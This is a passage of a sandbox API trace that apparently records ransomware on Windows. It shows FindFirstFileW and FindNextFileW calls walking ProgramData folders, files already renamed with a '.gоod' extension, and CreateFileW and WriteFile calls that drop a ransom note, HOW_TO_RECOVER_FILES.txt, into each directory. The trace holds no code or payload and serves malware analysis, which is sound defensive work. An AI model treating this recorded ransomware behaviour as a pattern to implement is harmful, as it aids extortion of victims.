cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.541] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x3b6f290f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0148.541] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0148.541] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0148.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0148.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0148.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0148.541] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x73 [0148.541] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3b718b46, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b718b46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0148.542] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3b718b46, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b718b46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.542] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6151ff00, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x6151ff00, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x3b017a28, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4b4530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0148.542] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b718b46, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3b718b46, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b718b46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.542] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x3b6f290f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0148.542] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x3b6f290f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 0 [0148.542] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0148.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0148.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0148.543] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8c [0148.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0148.543] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0148.544] GetFileType (hFile=0x630) returned 0x1 [0148.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0148.544] GetFileType (hFile=0x630) returned 0x1 [0148.544] WriteFile (in: hFile=0x630, lpBuffer=0x3813b20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3813b20*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0148.545] CloseHandle (hObject=0x630) returned 1 [0148.546] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0148.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0148.546] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0148.549] GetFileType (hFile=0x630) returned 0x1 [0148.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0148.549] GetFileType (hFile=0x630) returned 0x1 [0148.550] WriteFile (in: hFile=0x630, lpBuffer=0x3817448*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x3817448*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0148.551] CloseHandle (hObject=0x630) returned 1 [0148.551] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6b [0148.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0148.551] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0148.552] GetFileType (hFile=0x630) returned 0x1 [0148.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0148.552] GetFileType (hFile=0x630) returned 0x1 [0148.553] WriteFile (in: hFile=0x630, lpBuffer=0x381ad40*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x381ad40*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0148.553] CloseHandle (hObject=0x630) returned 1 [0148.554] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x39 [0148.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0148.554] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0148.555] GetFileType (hFile=0x630) returned 0x1 [0148.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0148.555] GetFileType (hFile=0x630) returned 0x1 [0148.555] WriteFile (in: hFile=0x630, lpBuffer=0x381e578*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x381e578*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0148.556] CloseHandle (hObject=0x630) returned 1 [0148.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0148.557] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\regid.1991-06.com.microsoft", lpFilePart=0x0) returned 0x2e [0148.557] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3bbb7171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0148.557] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3bbb7171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.557] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bbb7171, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bbb7171, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bbb7171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.557] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x4af5600b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", cAlternateFileName="REGID1~3.SWI")) returned 1 [0148.557] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbfefc00, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0xda9f4a95, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbfefc00, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", cAlternateFileName="REGID1~2.SWI")) returned 1 [0148.558] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x53fba98c, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", cAlternateFileName="REGID1~4.SWI")) returned 1 [0148.558] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 1 [0148.558] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0148.558] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0148.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0148.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0148.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0148.558] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\regid.1991-06.com.microsoft", lpFilePart=0x0) returned 0x2e [0148.558] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3bbb7171, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bbb7171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0148.559] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3bbb7171, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bbb7171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.559] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bbb7171, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bbb7171, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bbb7171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.559] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x4af5600b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", cAlternateFileName="REGID1~3.SWI")) returned 1 [0148.559] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbfefc00, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0xda9f4a95, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbfefc00, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", cAlternateFileName="REGID1~2.SWI")) returned 1 [0148.559] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x53fba98c, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", cAlternateFileName="REGID1~4.SWI")) returned 1 [0148.559] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 1 [0148.559] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 0 [0148.560] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0148.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0148.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0148.560] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0148.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0148.560] CreateFileW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0148.561] GetFileType (hFile=0x630) returned 0x1 [0148.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0148.561] GetFileType (hFile=0x630) returned 0x1 [0148.562] WriteFile (in: hFile=0x630, lpBuffer=0x3831790*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x3831790*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0148.562] CloseHandle (hObject=0x630) returned 1 [0148.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0148.563] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\SoftwareDistribution", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\SoftwareDistribution", lpFilePart=0x0) returned 0x27 [0148.563] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\SoftwareDistribution\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3bbb7171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0148.563] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3bbb7171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.563] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bbb7171, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bbb7171, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bbb7171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.563] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, 